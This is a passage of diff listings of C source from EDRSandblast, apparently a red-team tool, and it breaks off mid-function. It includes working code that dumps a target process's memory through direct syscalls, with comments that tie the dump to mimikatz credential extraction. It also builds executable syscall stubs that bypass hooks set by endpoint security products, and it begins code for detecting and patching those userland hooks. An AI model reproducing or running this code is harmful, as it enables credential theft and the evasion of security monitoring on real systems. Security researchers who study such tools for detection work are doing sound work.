dumpSystemInfo.ProcessorArchitecture = PROCESSOR_ARCHITECTURE;
|
||||
dumpSystemInfo.CSDVersionRva = 0;
|
||||
dumpSystemInfo.SuiteMask = VER_SUITE_SINGLEUSERTS;
|
||||
dumpSystemInfo.Reserved2 = 0;
|
||||
dumpSystemInfo.Cpu.OtherCpuInfo.ProcessorFeatures[0] = 0;
|
||||
dumpSystemInfo.Cpu.OtherCpuInfo.ProcessorFeatures[1] = 0;
|
||||
|
||||
for (DWORD i = 0; i < sizeof(dumpSystemInfo.Cpu.OtherCpuInfo.ProcessorFeatures[0]) * 8; i++) {
|
||||
if (IsProcessorFeaturePresent(i)) {
|
||||
dumpSystemInfo.Cpu.OtherCpuInfo.ProcessorFeatures[0] |= 1LL << i;
|
||||
}
|
||||
}
|
||||
|
||||
RVA streamRVA = dumpContext->RVA;
|
||||
ULONG32 streamSize = sizeof(dumpSystemInfo);
|
||||
if (!appendToDump(dumpContext, &dumpSystemInfo, streamSize)) {
|
||||
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't write the SystemInfoStream (stream rva)\n"));
|
||||
return STATUS_UNSUCCESSFUL;
|
||||
}
|
||||
|
||||
// Append CSDVersion string
|
||||
#if _WIN64
|
||||
ULONG32 CSDVersionLength = peb.CSDVersion.uOrDummyAlign.u.Length;
|
||||
#else
|
||||
ULONG32 CSDVersionLength = peb.CSDVersion.Length;
|
||||
#endif
|
||||
ULONG32 CSDVersionBufferLength = CSDVersionLength + sizeof(WCHAR);
|
||||
PMINIDUMP_STRING CSDVersion = calloc(1, sizeof(MINIDUMP_STRING) + CSDVersionBufferLength);
|
||||
if (!CSDVersion) {
|
||||
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't allocate CSDVersion string\n"));
|
||||
return STATUS_UNSUCCESSFUL;
|
||||
}
|
||||
CSDVersion->Length = CSDVersionLength;
|
||||
memcpy(CSDVersion->Buffer, peb.CSDVersion.Buffer, CSDVersionBufferLength);
|
||||
RVA CSDVersionRVA = dumpContext->RVA;
|
||||
appendToDump(dumpContext, CSDVersion, sizeof(MINIDUMP_STRING) + CSDVersionBufferLength);
|
||||
|
||||
// write our length in the MiniDumpSystemInfo directory
|
||||
writeAtRVA(dumpContext, sizeof(MINIDUMP_HEADER) + offsetof(MINIDUMP_DIRECTORY, Location.DataSize), &streamSize, sizeof(streamSize));
|
||||
|
||||
// write our RVA in the MiniDumpSystemInfo directory
|
||||
writeAtRVA(dumpContext, sizeof(MINIDUMP_HEADER) + offsetof(MINIDUMP_DIRECTORY, Location.Rva), &streamRVA, sizeof(streamRVA));
|
||||
|
||||
// write the CSDVersion RVA in the SystemInfoStream
|
||||
writeAtRVA(dumpContext, streamRVA + offsetof(MINIDUMP_SYSTEM_INFO, CSDVersionRva), &CSDVersionRVA, sizeof(CSDVersionRVA));
|
||||
|
||||
return STATUS_SUCCES;
|
||||
}
|
||||
|
||||
DWORD writeMiniDumpModuleListStream(DUMP_CONTEXT* dumpContext, PMODULE_INFO pmoduleList) {
|
||||
PMODULE_INFO currentModule = pmoduleList;
|
||||
|
||||
ULONG32 modulesCount = 0;
|
||||
|
||||
// Write modules dll metadata (length & path).
|
||||
while (currentModule) {
|
||||
modulesCount = modulesCount + 1;
|
||||
|
||||
currentModule->nameRVA = dumpContext->RVA;
|
||||
|
||||
// Write the module fullname length.
|
||||
ULONG32 DllFullNameLength = (ULONG32)(wcsnlen((WCHAR*) ¤tModule->dllName, sizeof(currentModule->dllName)) + 1) * sizeof(WCHAR);
|
||||
if (!appendToDump(dumpContext, &DllFullNameLength, 4)) {
|
||||
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't write the ModuleListStream (write of module DllFullName length failed)\n"));
|
||||
return STATUS_UNSUCCESSFUL;
|
||||
}
|
||||
|
||||
// Write the module fullname length.
|
||||
if (!appendToDump(dumpContext, currentModule->dllName, DllFullNameLength)) {
|
||||
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't write the ModuleListStream (write of module DllFullName failed)\n"));
|
||||
return STATUS_UNSUCCESSFUL;
|
||||
}
|
||||
currentModule = currentModule->next;
|
||||
}
|
||||
|
||||
// Write the number of modules.
|
||||
RVA streamRVA = dumpContext->RVA;
|
||||
if (!appendToDump(dumpContext, &modulesCount, 4)) {
|
||||
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't write the ModuleListStream (write of number of modules failed)\n"));
|
||||
return STATUS_UNSUCCESSFUL;
|
||||
}
|
||||
|
||||
// Write the modules data.
|
||||
currentModule = pmoduleList;
|
||||
while (currentModule) {
|
||||
MINIDUMP_MODULE module = { 0 };
|
||||
module.BaseOfImage = (ULONG_PTR)currentModule->dllBase;
|
||||
module.SizeOfImage = currentModule->ImageSize;
|
||||
module.CheckSum = currentModule->checkSum;
|
||||
module.TimeDateStamp = currentModule->timeDateStamp;
|
||||
module.ModuleNameRva = currentModule->nameRVA;
|
||||
module.VersionInfo.dwSignature = 0;
|
||||
module.VersionInfo.dwStrucVersion = 0;
|
||||
module.VersionInfo.dwFileVersionMS = 0;
|
||||
module.VersionInfo.dwFileVersionLS = 0;
|
||||
module.VersionInfo.dwProductVersionMS = 0;
|
||||
module.VersionInfo.dwProductVersionLS = 0;
|
||||
module.VersionInfo.dwFileFlagsMask = 0;
|
||||
module.VersionInfo.dwFileFlags = 0;
|
||||
module.VersionInfo.dwFileOS = 0;
|
||||
module.VersionInfo.dwFileType = 0;
|
||||
module.VersionInfo.dwFileSubtype = 0;
|
||||
module.VersionInfo.dwFileDateMS = 0;
|
||||
module.VersionInfo.dwFileDateLS = 0;
|
||||
module.CvRecord.DataSize = 0;
|
||||
module.CvRecord.Rva = 0;
|
||||
module.MiscRecord.DataSize = 0;
|
||||
module.MiscRecord.Rva = 0;
|
||||
module.Reserved0 = 0;
|
||||
module.Reserved1 = 0;
|
||||
|
||||
|
||||
if (!appendToDump(dumpContext, &module, sizeof(module))) {
|
||||
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't write the ModuleListStream (write of module bytes failed)\n"));
|
||||
return STATUS_UNSUCCESSFUL;
|
||||
}
|
||||
currentModule = currentModule->next;
|
||||
}
|
||||
|
||||
// Write the total length in the ModuleListStream directory.
|
||||
// header + 1 directory + streamType
|
||||
ULONG32 streamSize = sizeof(modulesCount) + modulesCount * sizeof(MINIDUMP_MODULE);
|
||||
writeAtRVA(dumpContext, sizeof(MINIDUMP_HEADER) + sizeof(MINIDUMP_DIRECTORY) + offsetof(MINIDUMP_DIRECTORY, Location.DataSize), &streamSize, sizeof(streamSize));
|
||||
|
||||
// Write our RVA in the ModuleListStream directory.
|
||||
// header + 1 directory + streamType + Location.DataSize
|
||||
writeAtRVA(dumpContext, sizeof(MINIDUMP_HEADER) + sizeof(MINIDUMP_DIRECTORY) + offsetof(MINIDUMP_DIRECTORY, Location.Rva), &streamRVA, sizeof(streamRVA));
|
||||
|
||||
return STATUS_SUCCES;
|
||||
}
|
||||
|
||||
DWORD writeMiniDumpMemory64ListStream(DUMP_CONTEXT* dumpContext, PMEMORY_PAGE_INFO pmemoryPages) {
|
||||
RVA streamRVA = dumpContext->RVA;
|
||||
|
||||
PMINIDUMP_MEMORY64_LIST memory64List = calloc(1, sizeof(MINIDUMP_MEMORY64_LIST));
|
||||
if (!memory64List) {
|
||||
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't alloc the Memory64ListStream structure\n"));
|
||||
return STATUS_UNSUCCESSFUL;
|
||||
}
|
||||
|
||||
// Count the number of memory ranges.
|
||||
PMEMORY_PAGE_INFO currentMemoryPage = pmemoryPages;
|
||||
ULONG32 memoryPagesCount = 0;
|
||||
while (currentMemoryPage) {
|
||||
memoryPagesCount++;
|
||||
currentMemoryPage = currentMemoryPage->next;
|
||||
}
|
||||
memory64List->NumberOfMemoryRanges = memoryPagesCount;
|
||||
|
||||
// Extend the structure to host all ranges
|
||||
ULONG32 streamSize = sizeof(MINIDUMP_MEMORY64_LIST) + memoryPagesCount * sizeof(MINIDUMP_MEMORY_DESCRIPTOR64);
|
||||
PMINIDUMP_MEMORY64_LIST tmp = realloc(memory64List, streamSize);
|
||||
if (!tmp) {
|
||||
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't realloc the Memory64ListStream structure\n"));
|
||||
return STATUS_UNSUCCESSFUL;
|
||||
}
|
||||
memory64List = tmp;
|
||||
|
||||
// Compute the rva of the actual memory content
|
||||
RVA64 baseRVA = (RVA64)streamRVA + (RVA64)streamSize;
|
||||
memory64List->BaseRva = baseRVA;
|
||||
|
||||
// Compute the start and size of each memory Page.
|
||||
currentMemoryPage = pmemoryPages;
|
||||
SIZE_T indexMemoryRange = 0;
|
||||
while (currentMemoryPage) {
|
||||
memory64List->MemoryRanges[indexMemoryRange].StartOfMemoryRange = currentMemoryPage->startOfMemoryPage;
|
||||
memory64List->MemoryRanges[indexMemoryRange].DataSize = currentMemoryPage->dataSize;
|
||||
currentMemoryPage = currentMemoryPage->next;
|
||||
indexMemoryRange++;
|
||||
}
|
||||
|
||||
//Write the actual stream
|
||||
appendToDump(dumpContext, memory64List, streamSize);
|
||||
free(memory64List);
|
||||
memory64List = NULL;
|
||||
|
||||
// Write our length in the Memory64ListStream directory.
|
||||
// header + 2 directories + streamType.
|
||||
writeAtRVA(dumpContext, sizeof(MINIDUMP_HEADER) + sizeof(MINIDUMP_DIRECTORY) * 2 + offsetof(MINIDUMP_DIRECTORY, Location.DataSize), &streamSize, sizeof(streamSize));
|
||||
|
||||
// write our RVA in the Memory64ListStream directory
|
||||
// header + 2 directories + streamType + Location.DataSize
|
||||
writeAtRVA(dumpContext, sizeof(MINIDUMP_HEADER) + sizeof(MINIDUMP_DIRECTORY) * 2 + offsetof(MINIDUMP_DIRECTORY, Location.Rva), &streamRVA, sizeof(streamRVA));
|
||||
|
||||
// dump all the selected memory Pages.
|
||||
currentMemoryPage = pmemoryPages;
|
||||
while (currentMemoryPage) {
|
||||
PBYTE buffer = calloc(currentMemoryPage->dataSize, 1);
|
||||
if (!buffer) {
|
||||
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't write the Memory64ListStream stream (failed to allocate memory for memory Page)\n"));
|
||||
return STATUS_UNSUCCESSFUL;
|
||||
}
|
||||
|
||||
NTSTATUS status = NtReadVirtualMemory(dumpContext->hProcess, (PVOID)(ULONG_PTR)currentMemoryPage->startOfMemoryPage, buffer, currentMemoryPage->dataSize, NULL);
|
||||
// once in a while, a Page fails with STATUS_PARTIAL_COPY, not relevant for mimikatz
|
||||
if (!NT_SUCCESS(status) && status != STATUS_PARTIAL_COPY) {
|
||||
_tprintf_or_not(TEXT("[-] Failed to read memory Page: startOfMemoryPage: 0x%p, dataSize: 0x%llx, state: 0x%lx, protect: 0x%lx, type: 0x%lx, NtReadVirtualMemory status: 0x%lx. Continuing anyways...\n"),
|
||||
(PVOID)(ULONG_PTR)currentMemoryPage->startOfMemoryPage,
|
||||
currentMemoryPage->dataSize,
|
||||
currentMemoryPage->state,
|
||||
currentMemoryPage->protect,
|
||||
currentMemoryPage->type,
|
||||
status);
|
||||
}
|
||||
if (MAXDWORD < currentMemoryPage->dataSize) {
|
||||
_tprintf_or_not(TEXT("[-] Syscall process dump failed: memory range too big ! Aboring\n"));
|
||||
return STATUS_UNSUCCESSFUL;
|
||||
}
|
||||
if (!appendToDump(dumpContext, buffer, (DWORD)currentMemoryPage->dataSize)) {
|
||||
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't write the Memory64ListStream stream (failed to write memory Page)\n"));
|
||||
return STATUS_UNSUCCESSFUL;
|
||||
}
|
||||
|
||||
// Free memory Page (overwrite it first, just in case).
|
||||
memset(buffer, 0, currentMemoryPage->dataSize);
|
||||
free(buffer);
|
||||
buffer = NULL;
|
||||
|
||||
currentMemoryPage = currentMemoryPage->next;
|
||||
}
|
||||
|
||||
return STATUS_SUCCES;
|
||||
}
|
||||
|
||||
DWORD SandMiniDumpWriteDump(TCHAR* targetProcessName, WCHAR* dumpFilePath) {
|
||||
DWORD status = STATUS_UNSUCCESSFUL;
|
||||
DWORD targetProcessPID = 0;
|
||||
|
||||
PMODULE_INFO pmoduleList = NULL;
|
||||
PMEMORY_PAGE_INFO pmemoryPages = NULL;
|
||||
|
||||
HANDLE hDumpFile = NULL;
|
||||
OBJECT_ATTRIBUTES ObjectAttributesDumpFile = { 0 };
|
||||
IO_STATUS_BLOCK IoStatusBlock = { 0 };
|
||||
LARGE_INTEGER AllocationSize = { 0 };
|
||||
|
||||
HANDLE htargetProcess = NULL;
|
||||
OBJECT_ATTRIBUTES ObjectAttributesProcess = { 0 };
|
||||
|
||||
status = SandFindProcessPidByName(targetProcessName, &targetProcessPID);
|
||||
|
||||
if (!NT_SUCCESS(status) || targetProcessPID == 0) {
|
||||
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't find target %s process PID\n"), targetProcessName);
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
WCHAR FilePath[MAX_PATH] = { 0 };
|
||||
const WCHAR prefix[] = L"\\??\\";
|
||||
memcpy_s(FilePath, sizeof(FilePath), prefix, sizeof(prefix));
|
||||
UNICODE_STRING dumpFilePathAsUnicodeStr = { 0 };
|
||||
wcscat_s(FilePath, _countof(FilePath), dumpFilePath);
|
||||
|
||||
getUnicodeStringFromTCHAR(&dumpFilePathAsUnicodeStr, FilePath);
|
||||
|
||||
// Create the dump file to validate that the output path is correct beforing accessing the process to dump memory.
|
||||
InitializeObjectAttributes(&ObjectAttributesDumpFile, &dumpFilePathAsUnicodeStr, OBJ_CASE_INSENSITIVE, NULL, NULL);
|
||||
status = NtCreateFile(&hDumpFile, FILE_GENERIC_WRITE, &ObjectAttributesDumpFile, &IoStatusBlock, &AllocationSize, FILE_ATTRIBUTE_NORMAL, 0, FILE_OVERWRITE_IF, FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0);
|
||||
if (status == STATUS_OBJECT_PATH_NOT_FOUND || status == STATUS_OBJECT_NAME_INVALID) {
|
||||
_tprintf_or_not(TEXT("[-] Syscall process dump failed: the dump file %s path is not valid\n"), FilePath);
|
||||
goto cleanup;
|
||||
}
|
||||
else if (!NT_SUCCESS(status)) {
|
||||
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't create empty dump file (NtCreateFile error 0x%x).\n"), status);
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
// Open an handle to the process to dump.
|
||||
InitializeObjectAttributes(&ObjectAttributesProcess, NULL, 0, NULL, NULL);
|
||||
CLIENT_ID clientId = { 0 };
|
||||
clientId.ProcessId = UlongToHandle(targetProcessPID);
|
||||
|
||||
status = NtOpenProcess(&htargetProcess, PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, &ObjectAttributesProcess, &clientId);
|
||||
if (status == STATUS_ACCESS_DENIED) {
|
||||
_tprintf_or_not(TEXT("[-] Syscall process dump failed: access denied error while trying to get an handle on the target process (NtOpenProcesserror 0x%x).\n"), status);
|
||||
goto cleanup;
|
||||
}
|
||||
else if (!NT_SUCCESS(status)) {
|
||||
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't get an handle to the target process (NtOpenProcess 0x%x).\n"), status);
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
// Allocate memory to write the mini dump.
|
||||
SIZE_T dumpSz = sizeof(MINIDUMP_HEADER); // arbitrary, the allocation size grows at each appendToDump
|
||||
PVOID dumpBaseAddr = calloc(dumpSz, 1);
|
||||
if (!dumpBaseAddr) {
|
||||
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't allocate memory for dump file.\n"));
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
DUMP_CONTEXT dumpContext = { 0 };
|
||||
dumpContext.Signature = MINIDUMP_SIGNATURE;
|
||||
dumpContext.Version = MINIDUMP_VERSION; // | implementation_version << 16
|
||||
dumpContext.hProcess = htargetProcess;
|
||||
dumpContext.BaseAddress = dumpBaseAddr;
|
||||
dumpContext.RVA = 0;
|
||||
dumpContext.DumpMaxSize = dumpSz;
|
||||
|
||||
pmoduleList = getModulesInLdrByInMemoryOrder(htargetProcess);
|
||||
if (!pmoduleList) {
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
pmemoryPages = getMemoryPagesInfo(dumpContext.hProcess, TRUE);
|
||||
if (!pmemoryPages) {
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
status = writeMiniDumpHeader(&dumpContext);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
status = writeMiniDumpDirectories(&dumpContext);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
status = writeMiniDumpSystemInfoStream(&dumpContext);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
status = writeMiniDumpModuleListStream(&dumpContext, pmoduleList);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
status = writeMiniDumpMemory64ListStream(&dumpContext, pmemoryPages);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
status = NtWriteFile(hDumpFile, NULL, NULL, NULL, &IoStatusBlock, dumpContext.BaseAddress, dumpContext.RVA, NULL, NULL);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
_tprintf_or_not(TEXT("[-] Syscall process dump failed: failed to write dump to file (NtWriteFile 0x%x).\n"), status);
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
freeLinkedList(pmoduleList);
|
||||
freeLinkedList(pmemoryPages);
|
||||
NtClose(htargetProcess);
|
||||
NtClose(hDumpFile);
|
||||
|
||||
_tprintf_or_not(TEXT("[+] %s sucessfully dumped with direct syscalls only to: %s\n"), targetProcessName, dumpFilePath);
|
||||
|
||||
return STATUS_SUCCES;
|
||||
|
||||
cleanup:
|
||||
if (htargetProcess) {
|
||||
NtClose(htargetProcess);
|
||||
}
|
||||
|
||||
if (hDumpFile) {
|
||||
NtClose(hDumpFile);
|
||||
}
|
||||
|
||||
if (pmoduleList) {
|
||||
freeLinkedList(pmoduleList);
|
||||
}
|
||||
|
||||
if (pmemoryPages) {
|
||||
freeLinkedList(pmemoryPages);
|
||||
}
|
||||
|
||||
return STATUS_UNSUCCESSFUL;
|
||||
}
|
||||
|
||||
DWORD SandMiniDumpWriteDumpFromThread(PVOID* args) {
|
||||
return SandMiniDumpWriteDump(args[0], args[1]);
|
||||
}
|
||||
@@ -0,0 +1,204 @@
|
||||
#include <Windows.h>
|
||||
#include "UserlandHooks.h"
|
||||
#include "PEParser.h"
|
||||
#include "PEBBrowse.h"
|
||||
|
||||
#define INVALID_SYSCALL_NUMBER 0xFFFFFFFF
|
||||
|
||||
DWORD GetSyscallNumberFromMemoryScanning(LPCSTR ntFunctionName) {
|
||||
PE* ntdll_disk;
|
||||
PE* ntdll_mem;
|
||||
getNtdllPEs(&ntdll_mem, &ntdll_disk);
|
||||
DWORD syscallNumber = INVALID_SYSCALL_NUMBER;
|
||||
|
||||
PBYTE scanner = PE_functionAddr(ntdll_disk, ntFunctionName);
|
||||
for (int i = 0; i < 0x10; i++, scanner++) {
|
||||
PDWORD pPotentialSycallNumber = (PDWORD)(scanner + 1);
|
||||
if (*scanner == 0xB8 && *pPotentialSycallNumber < 0x10000) { //B8 : mov eax, imm32
|
||||
syscallNumber = *pPotentialSycallNumber;
|
||||
break;
|
||||
}
|
||||
}
|
||||
return syscallNumber;
|
||||
}
|
||||
|
||||
typedef struct SYSCALL_t {
|
||||
LPCSTR Name;
|
||||
DWORD RVA;
|
||||
DWORD Number;
|
||||
}SYSCALL;
|
||||
|
||||
int CmpSyscallsByRVA(SYSCALL const* a, SYSCALL const* b) {
|
||||
if (a->RVA < b->RVA) {
|
||||
return -1;
|
||||
}
|
||||
else if (a->RVA > b->RVA) {
|
||||
return +1;
|
||||
}
|
||||
else {
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
int CmpSyscallsByName(SYSCALL const* a, SYSCALL const* b) {
|
||||
return strcmp(a->Name, b->Name);
|
||||
}
|
||||
|
||||
DWORD g_nbSyscalls = 0;
|
||||
DWORD g_nbSyscallsMax = 0;
|
||||
SYSCALL* g_syscalls = NULL;
|
||||
|
||||
SYSCALL* GetSyscallTable(PDWORD syscallTableSize) {
|
||||
if (g_syscalls != NULL) {
|
||||
*syscallTableSize = g_nbSyscalls;
|
||||
return g_syscalls;
|
||||
}
|
||||
g_nbSyscallsMax = 0x10;
|
||||
g_syscalls = calloc(g_nbSyscallsMax, sizeof(SYSCALL));
|
||||
if (!g_syscalls) {
|
||||
return NULL;
|
||||
}
|
||||
PE* ntdll_mem = NULL;
|
||||
PE* ntdll_disk = NULL;
|
||||
getNtdllPEs(&ntdll_mem, &ntdll_disk);
|
||||
|
||||
// Store all Zw* function as a syscall
|
||||
for (DWORD nameOrdinal = 0; nameOrdinal < ntdll_mem->exportedNamesLength; nameOrdinal++) {
|
||||
LPCSTR functionName = PE_RVA_to_Addr(ntdll_mem, ntdll_mem->exportedNames[nameOrdinal]);
|
||||
if (*(WORD*)functionName == *((WORD*)"Zw")) {
|
||||
if (g_nbSyscalls == g_nbSyscallsMax) {
|
||||
g_nbSyscallsMax *= 2;
|
||||
PVOID tmp = realloc(g_syscalls, g_nbSyscallsMax * sizeof(SYSCALL));
|
||||
if (!tmp) {
|
||||
return NULL;
|
||||
}
|
||||
g_syscalls = tmp;
|
||||
}
|
||||
g_syscalls[g_nbSyscalls].Name = functionName;
|
||||
g_syscalls[g_nbSyscalls].RVA = PE_functionRVA(ntdll_mem, functionName);
|
||||
g_nbSyscalls++;
|
||||
}
|
||||
}
|
||||
PVOID tmp = realloc(g_syscalls, g_nbSyscalls * sizeof(SYSCALL));
|
||||
if (!tmp || !g_nbSyscalls) {
|
||||
return NULL;
|
||||
}
|
||||
g_syscalls = tmp;
|
||||
g_nbSyscallsMax = g_nbSyscalls;
|
||||
|
||||
// Sort the Zw* functions by RVA
|
||||
qsort(g_syscalls, g_nbSyscalls, sizeof(SYSCALL), CmpSyscallsByRVA);
|
||||
|
||||
// Deduce the syscall numbers from order in table
|
||||
for (DWORD j = 0; j < g_nbSyscalls; j++) {
|
||||
g_syscalls[j].Number = j;
|
||||
}
|
||||
// Sort the function back in alphabetical order
|
||||
qsort(g_syscalls, g_nbSyscalls, sizeof(SYSCALL), CmpSyscallsByName);
|
||||
|
||||
*syscallTableSize = g_nbSyscalls;
|
||||
return g_syscalls;
|
||||
}
|
||||
|
||||
DWORD GetSyscallNumberFromHardcodedInformation(LPCSTR ntFunctionName) {
|
||||
PE* ntdll_mem = NULL;
|
||||
PE* ntdll_disk = NULL;
|
||||
getNtdllPEs(&ntdll_mem, &ntdll_disk);
|
||||
|
||||
DWORD syscallNumber = INVALID_SYSCALL_NUMBER;
|
||||
|
||||
if (!strcmp(ntFunctionName, "NtProtectVirtualMemory")) {
|
||||
pRtlGetVersion RtlGetVersion = (pRtlGetVersion)PE_functionAddr(ntdll_mem, "RtlGetVersion");
|
||||
OSVERSIONINFOEXW versionInformation = { 0 };
|
||||
RtlGetVersion(&versionInformation);
|
||||
if (versionInformation.dwMajorVersion == 10 && versionInformation.dwMinorVersion == 0 && versionInformation.dwBuildNumber <= 19044) {
|
||||
syscallNumber = 0x50; // win10
|
||||
}
|
||||
else if (versionInformation.dwMajorVersion == 6 && versionInformation.dwMinorVersion == 3) {
|
||||
syscallNumber = 0x4F; // win8.1 / 2012 R2
|
||||
}
|
||||
else if (versionInformation.dwMajorVersion == 6 && versionInformation.dwMinorVersion == 2) {
|
||||
syscallNumber = 0x4E; // win8 / 2012
|
||||
}
|
||||
else if (versionInformation.dwMajorVersion <= 6) {
|
||||
syscallNumber = 0x4D; // win7 / 2008 R2 & before
|
||||
}
|
||||
}
|
||||
return syscallNumber;
|
||||
}
|
||||
|
||||
|
||||
DWORD GetSyscallNumberFromExportOrdering(LPCSTR ntFunctionName) {
|
||||
DWORD syscallTableSize;
|
||||
SYSCALL* syscallTable = GetSyscallTable(&syscallTableSize);
|
||||
if (syscallTable == NULL) {
|
||||
return INVALID_SYSCALL_NUMBER;
|
||||
}
|
||||
LPSTR zwFunctionName = _strdup(ntFunctionName);
|
||||
if (zwFunctionName == NULL) {
|
||||
return INVALID_SYSCALL_NUMBER;
|
||||
}
|
||||
*(WORD*)zwFunctionName = *(WORD*)"Zw";
|
||||
|
||||
DWORD down = 0;
|
||||
DWORD up = syscallTableSize;
|
||||
while (up - down > 1) {
|
||||
DWORD mid = (down + up) / 2;
|
||||
if (strcmp(syscallTable[mid].Name, zwFunctionName) <= 0) {
|
||||
down = mid;
|
||||
}
|
||||
else {
|
||||
up = mid;
|
||||
}
|
||||
}
|
||||
if (!strcmp(syscallTable[down].Name, zwFunctionName)) {
|
||||
return syscallTable[down].Number;
|
||||
}
|
||||
else {
|
||||
return INVALID_SYSCALL_NUMBER;
|
||||
}
|
||||
}
|
||||
|
||||
PVOID CreateSyscallStubWithVirtuallAlloc(LPCSTR ntFunctionName) {
|
||||
BYTE mov_eax_syscall_number[] = { 0xB8, 0x42, 0x42, 0x42, 0x42 };
|
||||
BYTE mov_r10_rcx[] = { 0x4C, 0x8B, 0xD1 };
|
||||
BYTE syscall_ret[] = { 0x0F, 0x05, 0xC3 };
|
||||
|
||||
SIZE_T shellcode_len = sizeof(mov_eax_syscall_number) + sizeof(mov_r10_rcx) + sizeof(syscall_ret);
|
||||
PBYTE shellcode = VirtualAlloc(NULL, shellcode_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
if (!shellcode) {
|
||||
return NULL;
|
||||
}
|
||||
PBYTE pShellcode = shellcode;
|
||||
|
||||
// get the syscall number through different techniques and check they give the same result
|
||||
DWORD syscallNumber = INVALID_SYSCALL_NUMBER;
|
||||
DWORD(*GetSyscallNumberFunc[])(LPCSTR) = { GetSyscallNumberFromMemoryScanning , GetSyscallNumberFromExportOrdering , GetSyscallNumberFromHardcodedInformation };
|
||||
|
||||
for (DWORD i = 0; i < _countof(GetSyscallNumberFunc); i++) {
|
||||
DWORD syscallNumberCandidate = GetSyscallNumberFunc[i](ntFunctionName);
|
||||
if (syscallNumberCandidate != INVALID_SYSCALL_NUMBER) {
|
||||
if (syscallNumber != INVALID_SYSCALL_NUMBER && syscallNumber != syscallNumberCandidate) {
|
||||
return NULL;
|
||||
}
|
||||
syscallNumber = syscallNumberCandidate;
|
||||
}
|
||||
}
|
||||
|
||||
if (syscallNumber == INVALID_SYSCALL_NUMBER) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
*(DWORD*)&mov_eax_syscall_number[1] = syscallNumber;
|
||||
memcpy(pShellcode, mov_eax_syscall_number, sizeof(mov_eax_syscall_number));
|
||||
pShellcode += sizeof(mov_eax_syscall_number);
|
||||
memcpy(pShellcode, mov_r10_rcx, sizeof(mov_r10_rcx));
|
||||
pShellcode += sizeof(mov_r10_rcx);
|
||||
memcpy(pShellcode, syscall_ret, sizeof(syscall_ret));
|
||||
pShellcode += sizeof(syscall_ret);
|
||||
|
||||
DWORD oldProtect;
|
||||
VirtualProtect(shellcode, shellcode_len, PAGE_EXECUTE_READ, &oldProtect);
|
||||
|
||||
return shellcode;
|
||||
}
|
||||
@@ -0,0 +1,623 @@
|
||||
/*
|
||||
* All the logic that detects, resolves, patch userland hooks and other related structures
|
||||
*/
|
||||
|
||||
#include <Windows.h>
|
||||
#include <PathCch.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#include "../EDRSandblast.h"
|
||||
#include "FileUtils.h"
|
||||
#include "UserlandHooks.h"
|
||||
#include "PEBBrowse.h"
|
||||
#include "Undoc.h"
|
||||
#include "Syscalls.h"
|
||||
|
||||
|
||||
#if _DEBUG
|
||||
int debugf(const char* fmt, ...) {
|
||||
va_list args;
|
||||
va_start(args, fmt);
|
||||
int res = vprintf(fmt, args);
|
||||
va_end(args);
|
||||
return res;
|
||||
}
|
||||
#else
|
||||
#define debugf(...)
|
||||
#endif
|
||||
|
||||
/*
|
||||
* Return the address (in "mem") of the first difference between two memory ranges ("mem" & "disk") of size "len".
|
||||
* If the "lenPatch" pointer is provided, also returns the number of consecutive bytes that differ
|
||||
*/
|
||||
PBYTE findDiff(PBYTE mem, PBYTE disk, size_t len, size_t* lenPatch) {
|
||||
for (size_t i = 0; i < len; i++) {
|
||||
if (mem[i] != disk[i]) {
|
||||
size_t patchStartIndex = i;
|
||||
if (NULL != lenPatch) {
|
||||
while (mem[i] != disk[i] && i < len) {
|
||||
i++;
|
||||
}
|
||||
*lenPatch = i - patchStartIndex;
|
||||
}
|
||||
return &mem[patchStartIndex];
|
||||
}
|
||||
}
|
||||
if (NULL != lenPatch) {
|
||||
*lenPatch = 0;
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/*
|
||||
* Returns a list of differences (patches) between two memory ranges ("searchStartMem" and "searchStartDisk") of size "sizeToScan".
|
||||
* The list is a NULL-terminated array of "diff" elements
|
||||
*/
|
||||
PATCH_DIFF* findDiffsInRange(PBYTE searchStartMem, PBYTE searchStartDisk, size_t sizeToScan) {
|
||||
size_t diffSize;
|
||||
PVOID diffAddr = findDiff(searchStartMem, searchStartDisk, sizeToScan, &diffSize);
|
||||
DWORD diffsListLen = 4;
|
||||
size_t diffsListI = 0;
|
||||
PATCH_DIFF* diffsList = malloc(diffsListLen * sizeof(PATCH_DIFF));
|
||||
if (NULL == diffsList) {
|
||||
debugf("bug in malloc in findDiffsInRange\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
